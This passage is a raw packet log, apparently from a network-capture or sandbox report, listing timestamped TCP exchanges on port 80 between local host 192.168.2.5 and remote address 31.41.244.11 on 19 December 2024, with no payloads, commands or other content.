Dec 19, 2024 03:09:14.995927095 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.995980978 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.996033907 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.996855021 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.996907949 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.996941090 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.996992111 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.997884989 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.997936010 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.997986078 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.998034954 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.998815060 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.998867035 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.998925924 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.998977900 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.999799967 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.999857903 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:14.999892950 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:14.999944925 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.000782013 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.000833988 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.000924110 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.000977039 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.001699924 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.001756907 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.142867088 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.142935038 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.142960072 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.143009901 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.143280983 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.143332005 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.143523932 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.143570900 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.143624067 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.143671036 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.144454956 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.144515038 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.144710064 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.144762039 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.145427942 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.145483017 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.145576000 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.145627975 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.147392988 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.147409916 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.147425890 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.147464991 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.147486925 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.147526026 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.148406029 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.148466110 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.148550034 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.148600101 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.149362087 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.149410009 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.149498940 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.149553061 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.150321007 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.150374889 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.150418043 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.150465965 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.151323080 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.151379108 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.151422977 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.151475906 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.152302027 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.152350903 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.152395010 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.152442932 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.153311968 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.153373003 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.153404951 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.153424978 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.154244900 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.154314041 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.154350996 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.154402018 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.155225992 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.155277014 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.155343056 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.155390978 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.156269073 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.156318903 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.156338930 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.156390905 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.157206059 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.157257080 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.157344103 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.157393932 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.158159018 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.158210993 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.158253908 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.158301115 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.159154892 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.159209013 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.159245014 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.159296989 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.160116911 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.160170078 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.160242081 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.160295963 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.161115885 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.161166906 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.161227942 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.161277056 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.162087917 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.162138939 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.162174940 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.162223101 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.163058996 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.163122892 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.163160086 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.163213968 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.164064884 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.164124012 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.164156914 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.164539099 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.165030003 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.165080070 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.165163040 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.165210962 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.166001081 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.166125059 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.166125059 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.166177034 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.166971922 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.167026043 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.167081118 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.167135954 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.167943954 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.167999029 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.168071985 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.168122053 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.168956995 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.169004917 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.169048071 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.169097900 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.169951916 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.170005083 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.170044899 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.170101881 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.170907021 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.171005011 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.171034098 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.171067953 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.171892881 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.171947956 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.171992064 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.172040939 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.172857046 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.172905922 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.172991991 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.173041105 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.173841000 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.173902035 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.173937082 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.173988104 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.174820900 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.174870968 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.174916029 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.174966097 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.175795078 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.175843954 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.175908089 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.175955057 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.176767111 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.176817894 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.176899910 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.176948071 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.177747965 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.177803040 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.177865982 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.177918911 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.178735018 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.178785086 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.178896904 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.178946018 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.179713964 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.179819107 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.179838896 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.179868937 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.180874109 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.180923939 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.181071997 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.181123018 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.181909084 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.181957960 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.182027102 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.182073116 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.185724974 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.185741901 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.185781956 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.185785055 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.185806036 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.185815096 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.185846090 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.185853958 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.185864925 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.185873032 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.185889006 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.185904980 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.185908079 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.185928106 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.185954094 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.186554909 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.186603069 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.186672926 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.186721087 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.187547922 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.187598944 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.187640905 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.187686920 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.188524008 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.188586950 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.188638926 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.188689947 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.189512968 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.189578056 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.189621925 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.189670086 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.190484047 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.190532923 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.190613031 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.190666914 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.191482067 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.191536903 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.191602945 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.191956043 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.192456007 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.192507982 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.192614079 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.192667961 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.193409920 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.193677902 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.193711042 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.193727970 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.335195065 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.335253000 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.335397005 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.335397005 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.335433960 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.335486889 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.335531950 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.335588932 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.336381912 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.336438894 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.336508036 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.336563110 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.337361097 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.337416887 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.337470055 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.337522984 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.338352919 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.338409901 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.338471889 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.338521004 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.339345932 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.339400053 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.339436054 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.339488983 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.340308905 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.340363026 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.340404987 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.340464115 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.341300964 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.341353893 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.341394901 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.341445923 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.342267036 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.342319012 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.342360020 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.342411995 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.343234062 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.343286037 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.343352079 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.343405008 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.344230890 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.344284058 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.344326973 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.344378948 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.345201015 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.345253944 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.345324993 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.345375061 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.346214056 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.346270084 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.346302032 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.346354961 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.347187996 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.347240925 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.347300053 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.347352982 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.348130941 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.348185062 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.348258972 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.348309994 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.349108934 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.349159956 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.349208117 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.349258900 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.350148916 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.350202084 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.350227118 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.350280046 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.351106882 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.351159096 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.351257086 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.351319075 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.352061987 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.352113008 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.352149010 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.352205038 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.353048086 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.353102922 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.353205919 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.353260994 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.354080915 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.354134083 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.354141951 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.354190111 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.355009079 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.355062008 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.355104923 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.355158091 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.356004000 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.356060028 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.356096983 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.356152058 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.357019901 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.357074976 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.357096910 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.357151985 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.358011961 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.358067036 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.358072996 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.358127117 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.358958960 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.359014034 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:15.359078884 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:15.359132051 CET	49835	80	192.168.2.5	31.41.244.11
